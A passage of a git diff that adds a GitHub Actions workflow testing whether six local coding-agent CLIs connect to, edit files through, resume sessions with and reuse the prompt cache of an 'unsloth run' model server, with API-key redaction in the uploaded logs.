text. " + f"{cli_name} --help produced no recognizable help text. " f"exit={proc.returncode}\nstdout: {proc.stdout[:400]!r}\n" f"stderr: {proc.stderr[:400]!r}" ) @@ -2296,7 +2350,7 @@ jobs: f"stderr: {q.stderr[:400]!r}" ) print( - f"\nOK: install_llama_cpp produced a working llama-cli at {cli} " + f"\nOK: install_llama_cpp produced a working {cli_name} at {cli} " f"and llama-quantize at {quantizer}." ) PY diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml new file mode 100644 index 0000000000..25796bd5cf --- /dev/null +++ b/.github/workflows/local-agent-guides-ci.yml @@ -0,0 +1,787 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +# Local Agent Guides CI +# ===================== +# Detects when our local-agent setup recipes drift out of sync with +# `unsloth run`. Boots a real `unsloth run --disable-tools` server and +# drives the coding agents end to end through the *exact* recipes defined +# in unsloth_cli/commands/start.py (the in-repo source of truth -- there +# is no docs/ tree). Wherever start.py has a recipe we drive the agent +# via `unsloth start --no-launch` and execute what it prints, so +# the test self-updates against start.py and catches silent recipe drift. +# +# Source-of-truth files this workflow guards: +# unsloth_cli/commands/start.py the `unsloth start ` recipes +# unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line) +# +# Failure taxonomy (each surfaced with a distinct ::error:: + the agent name +# + the start.py location, so a red X is immediately triageable): +# (a) Unsloth server/API regression -- the dialect HTTP preflight fails +# BEFORE the agent runs (or the server never becomes healthy). +# (b) Agent package install failed -- npm/curl install of the CLI failed. +# (c) Guide drift -- preflight passed + install ok, but +# the documented `unsloth start` flow produced no/garbled output. +# +# Agents covered (6): claude, codex, hermes, openclaw, opencode, pi. +# - All six have a `unsloth start ` recipe, so each cell obtains its +# env + command from `unsloth start --no-launch` and runs THAT +# (self-updating: a recipe change is exercised automatically). + +name: Local Agent Guides CI + +on: + # Off-peak weekly, deliberately a NON-:00 minute to dodge the top-of-hour + # GitHub-hosted-runner stampede. + schedule: + - cron: '37 7 * * 1' + workflow_dispatch: + pull_request: + paths: + - 'unsloth_cli/**' + - 'studio/backend/routes/**' + # Contracts this workflow asserts that live outside routes/**: the + # /api/health endpoint, the llama-server KV-cache log behavior, and the + # request/response schemas the agent dialects depend on. + - 'studio/backend/main.py' + - 'studio/backend/core/inference/llama_cpp.py' + - 'studio/backend/models/**' + - 'install.sh' + - '.github/workflows/local-agent-guides-ci.yml' + - '.github/scripts/serve-unsloth-run.sh' + - '.github/scripts/assert-prompt-cache.sh' + - '.github/scripts/agent-guides-install.sh' + - '.github/scripts/agent-guides-drive.sh' + - '.github/scripts/ci-connect-prompt.txt' + - '.github/scripts/ci-min-system-prompt.txt' + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +# Secret handling on pull_request: these jobs check out and run PR-controlled code +# (install.sh, .github/scripts/**), so HF_TOKEN (an external HF credential) is gated +# off pull_request at each step below -- public GGUF repos still download anonymously. +# GH_TOKEN (GITHUB_TOKEN) is kept: it is the job-scoped contents:read token and +# install_llama_prebuilt.py needs it for the GitHub releases API (else 403s). + +env: + # Determinism precedent (studio-inference-smoke.yml): temp 0 + fixed seed. + UNSLOTH_SEED: '3407' + # A single invoke must never hang the runner on a headless TTY prompt. With + # prefill-shrinking flags (minimal system prompt + restricted tools) a turn on + # a 4B model finishes in a couple of minutes on CPU; this also caps how long a + # still-large-prompt agent burns before failing. Well under the 6h job cap. + AGENT_INVOKE_TIMEOUT: '600' + +jobs: + # ═════════════════════════════════════════════════════════════════════ + # Job 1: connection + # Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect, + # install the agent, run `unsloth start --no-launch`, execute + # the emitted recipe with a trivial prompt, assert a non-empty reply. + # Runs on PR + weekly + dispatch. Each matrix cell is its own runner so + # it serves exactly one model on its own port. + # ═════════════════════════════════════════════════════════════════════ + connection: + name: connection (${{ matrix.agent }}) + runs-on: ubuntu-latest + timeout-minutes: 40 + strategy: + fail-fast: false + matrix: + agent: [claude, codex, hermes, openclaw, opencode, pi] + include: + # OpenClaw needs Node 24; everything else is happy on 22. + - agent: openclaw + node: '24' + env: + # gemma-4-E4B (128K context, capable enough to drive every agent for a + # trivial reply; the 270m model produced empty/failed responses for + # codex/openclaw). Hermes' 64K context floor no longer constrains the model + # choice: write_hermes_config claims the floor for smaller windows and + # scales compaction back to the real window. Served as a flat + # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B). + GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF + GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18901' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: ${{ matrix.node || '22' }} + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore GGUF model file + id: cache-gguf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Download GGUF if cache miss + id: download-gguf + if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' + env: + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p gguf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache + + - name: Save GGUF model file + if: always() && steps.download-gguf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Install Studio (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + # ── boot the server under test (factored helper) ────────────────── + - name: Serve unsloth run --disable-tools (gemma-4-E4B) + run: | + unsloth studio reset-password + bash .github/scripts/serve-unsloth-run.sh \ + --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" \ + --health-timeout 900 + + # ── (a) server/API preflight: prove the dialect works BEFORE the agent ─ + # Distinct error class. If this step fails it is a SERVER regression, + # not the agent's or the guide's fault, and the agent steps never run. + - name: Preflight the agent's API dialect (class-a isolation) + env: + AGENT: ${{ matrix.agent }} + run: | + set -uo pipefail + B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY" + preflight_fail() { + echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect; this is class (a), not guide drift). Endpoint contract lives in studio/backend/routes/**."; + exit 1 + } + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \ + -H "Authorization: Bearer $K") || true + [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code" + case "$AGENT" in + claude) + # Anthropic Messages dialect. + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code" + ;; + codex) + # Codex always streams /v1/responses. + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true + [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code" + ;; + *) + # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw). + # OpenClaw's start.py recipe writes an "openai-completions" + # provider (write_openclaw_config), so it uses this path, not + # /v1/messages. + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code" + ;; + esac + echo "preflight OK for $AGENT" + + # ── (b) install the agent CLI (hardened npm/curl, retried) ───────── + - name: Install agent CLI (class-b isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-install.sh "$AGENT" + + # ── (c) drive the agent via start.py and assert a reply ────────── + # For the 5 agents with a start.py recipe we run + # `unsloth start --no-launch`, eval its env/unset exports, + # then run the printed command with a hard timeout (no headless-TTY + # hang). Pi has no connect recipe, so it is driven by hand and the + # cell asserts that absence is the (known) reason. + - name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT" + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + # Redact the key across the WHOLE logs/ tree, not just studio-logs: + # serve-unsloth-run.sh records the `unsloth run` banner (which prints + # `API Key: `) into logs/unsloth-run-.log, and the upload + # step publishes all of logs/, so scrubbing only studio-logs would leak + # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done + fi + + - name: Stop Studio + if: always() + run: | + # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make + # `kill 0` signal this step's whole process group and abort cleanup. + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: connection-${{ matrix.agent }}-log + path: | + logs/ + redacted-configs/ + retention-days: 7 + + # ═════════════════════════════════════════════════════════════════════ + # Job 2: file-edit + # The deterministic 2-turn hello.py test on Qwen3.5-4B (smaller models + # can't reliably drive the heavyweight agents' edit flows). Weekly + + # dispatch only -- it is the slow, model-heavy job and must not gate PRs. + # ═════════════════════════════════════════════════════════════════════ + file-edit: + name: file-edit (${{ matrix.agent }}) + if: github.event_name != 'pull_request' + runs-on: ubuntu-latest + timeout-minutes: 60 + # hermes and openclaw drive a multi-turn tool loop that a CPU-only runner + # cannot finish in time (e.g. openclaw holds its 300s session-write-lock past + # expiry; each turn re-prefills the tool prompt at ~16 tok/s). Their endpoint + # wiring + generation are already hard-gated by the connection job, so the + # file-edit cell is best-effort here -- it still runs and uploads logs, but a + # timeout does not fail the workflow. Drop best_effort (or move e2e to a GPU + # runner) to make it blocking again. + continue-on-error: ${{ matrix.best_effort || false }} + strategy: + fail-fast: false + matrix: + agent: [claude, codex, hermes, openclaw, opencode, pi] + include: + - agent: openclaw + node: '24' + best_effort: true + - agent: hermes + best_effort: true + env: + # gemma-4-E4B served as a flat GGUF file (cache size tracks the .gguf 1:1, + # no xet-chunk inflation; the -MTP- repo ships no separate draft file). + GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF + GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18902' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: ${{ matrix.node || '22' }} + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore GGUF model file + id: cache-gguf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Download GGUF if cache miss + id: download-gguf + if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' + env: + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p gguf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache + + - name: Save GGUF model file + if: always() && steps.download-gguf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Install Studio (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + - name: Serve unsloth run --disable-tools (gemma-4-E4B) + run: | + unsloth studio reset-password + bash .github/scripts/serve-unsloth-run.sh \ + --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" \ + --health-timeout 900 + + - name: Preflight the agent's API dialect (class-a isolation) + env: + AGENT: ${{ matrix.agent }} + run: | + set -uo pipefail + B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY" + preflight_fail() { + echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect; this is class (a), not guide drift). Endpoint contract lives in studio/backend/routes/**."; + exit 1 + } + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \ + -H "Authorization: Bearer $K") || true + [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code" + # Probe the same dialect the agent will use, so a streaming/messages + # regression in the weekly run is reported as class (a) here instead of + # surfacing later as guide drift (mirrors the connection job). + case "$AGENT" in + claude) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code" + ;; + codex) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true + [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code" + ;; + *) + # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw). + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code" + ;; + esac + echo "preflight OK for $AGENT" + + - name: Install agent CLI (class-b isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-install.sh "$AGENT" + + - name: 2-turn hello.py test (class-c isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-drive.sh file-edit "$AGENT" + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + # Redact the key across the WHOLE logs/ tree, not just studio-logs: + # serve-unsloth-run.sh records the `unsloth run` banner (which prints + # `API Key: `) into logs/unsloth-run-.log, and the upload + # step publishes all of logs/, so scrubbing only studio-logs would leak + # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done + fi + + - name: Stop Studio + if: always() + run: | + # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make + # `kill 0` signal this step's whole process group and abort cleanup. + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: file-edit-${{ matrix.agent }}-log + path: | + logs/ + agent-workdir/ + redacted-configs/ + retention-days: 7 + + # ═════════════════════════════════════════════════════════════════════ + # Job: resume + # Does a conversation started with `unsloth start ` survive exit + # and resume? This drives the REAL launch path (not the --no-launch + # recipe the other jobs use). A plain launch relocates the agent home to + # a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the + # session to the stable Unsloth agents dir so it persists. opencode/claude + # keep their session data in a fixed user dir, so they persist either way. + # Dispatch-only: it is an end-to-end experiment, not a PR gate. + # ═════════════════════════════════════════════════════════════════════ + resume: + name: resume (${{ matrix.agent }}) + if: github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + timeout-minutes: 60 + strategy: + fail-fast: false + matrix: + # codex/pi relocate their whole home (resume broken without --persist); + # opencode/claude keep session data in a fixed dir (resume already works). + # One agent from each class proves the split end to end; openclaw/hermes + # share codex's relocation mechanism and are covered by the unit tests. + agent: [codex, opencode, claude, pi] + env: + GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF + GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18904' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: '22' + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore GGUF model file + id: cache-gguf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Download GGUF if cache miss + id: download-gguf + if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' + env: + HF_TOKEN: ${{ secrets.HF_TOKEN }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p gguf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache + + - name: Save GGUF model file + if: always() && steps.download-gguf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Install Studio (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + HF_TOKEN: ${{ secrets.HF_TOKEN }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + - name: Serve unsloth run --disable-tools (gemma-4-E4B) + run: | + unsloth studio reset-password + bash .github/scripts/serve-unsloth-run.sh \ + --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" \ + --health-timeout 900 + + - name: Preflight the agent's API dialect (class-a isolation) + env: + AGENT: ${{ matrix.agent }} + run: | + set -uo pipefail + B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY" + preflight_fail() { + echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**."; + exit 1 + } + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \ + -H "Authorization: Bearer $K") || true + [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code" + case "$AGENT" in + claude) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code" + ;; + codex) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true + [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code" + ;; + *) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code" + ;; + esac + echo "preflight OK for $AGENT" + + - name: Install agent CLI (class-b isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-install.sh "$AGENT" + + - name: Resume experiment (launch path) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT" + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done + fi + + - name: Stop Studio + if: always() + run: | + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: resume-${{ matrix.agent }}-log + path: | + logs/ + agent-workdir/ + redacted-configs/ + retention-days: 7 + + # ═════════════════════════════════════════════════════════════════════ + # Job 3: prompt-cache + # (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0 + # (server prompt-cache sanity). + # (b) Claude Code attribution A/B: with CLAUDE_CODE_ATTRIBUTION_HEADER=0 + # expect a llama-server KV-cache HIT on turn 2; without it expect a + # MISS. If it inverts, the guide flag is stale. + # PR + weekly + dispatch (cheap, gemma-3-270m). + # ═════════════════════════════════════════════════════════════════════ + prompt-cache: + name: prompt-cache (gemma-3-270m) + runs-on: ubuntu-latest + timeout-minutes: 25 + env: + GGUF_REPO: unsloth/gemma-3-270m-it-GGUF + GGUF_VARIANT: UD-Q4_K_XL + GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18903' + HF_HOME: ${{ github.workspace }}/hf-cache + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: '22' + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore HF_HOME for ${{ env.GGUF_REPO }} + id: cache-hf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: hf-cache + key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 + + - name: Prime HF_HOME with the GGUF + id: prime-hf + if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' + env: + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p hf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" + + - name: Save HF_HOME for ${{ env.GGUF_REPO }} + if: always() && steps.prime-hf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: hf-cache + key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 + + - name: Install Studio (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + - name: Serve unsloth run --disable-tools (gemma-3-270m) + run: | + unsloth studio reset-password + bash .github/scripts/serve-unsloth-run.sh \ + --model "$GGUF_REPO" --gguf-variant "$GGUF_VARIANT" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" + + # (a) server prompt-cache sanity on the OpenAI chat path. The helper runs + # the 2-turn probe internally (turn 2 reuses turn 1's prefix) and asserts + # turn-2 usage.prompt_tokens_details.cached_tokens > 0. This is the hard + # gate -- it proves llama.cpp KV reuse is surfaced on /v1/chat/completions. + - name: Server prompt-cache sanity (cached_tokens > 0) + run: bash .github/scripts/assert-prompt-cache.sh api "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" + + - name: Install Claude Code (class-b isolation) + env: + AGENT: claude + run: bash .github/scripts/agent-guides-install.sh claude + + # (b) Claude attribution A/B against the llama-server log. This is the most + # environment-sensitive check (it depends on the bundled llama.cpp's + # slot-reuse log wording and on claude --continue reusing the prefix), so + # it is non-blocking until calibrated on the first scheduled run; the + # server cache sanity above is the hard gate. The step still prints the + # observed HIT/MISS so drift is visible in the log + artifacts. + - name: Claude attribution A/B (HIT with header=0, MISS without) + continue-on-error: true + run: bash .github/scripts/agent-guides-drive.sh attribution-ab claude + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + # Redact the key across the WHOLE logs/ tree, not just studio-logs: + # serve-unsloth-run.sh records the `unsloth run` banner (which prints + # `API Key: `) into logs/unsloth-run-.log, and the upload + # step publishes all of logs/, so scrubbing only studio-logs would leak + # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done 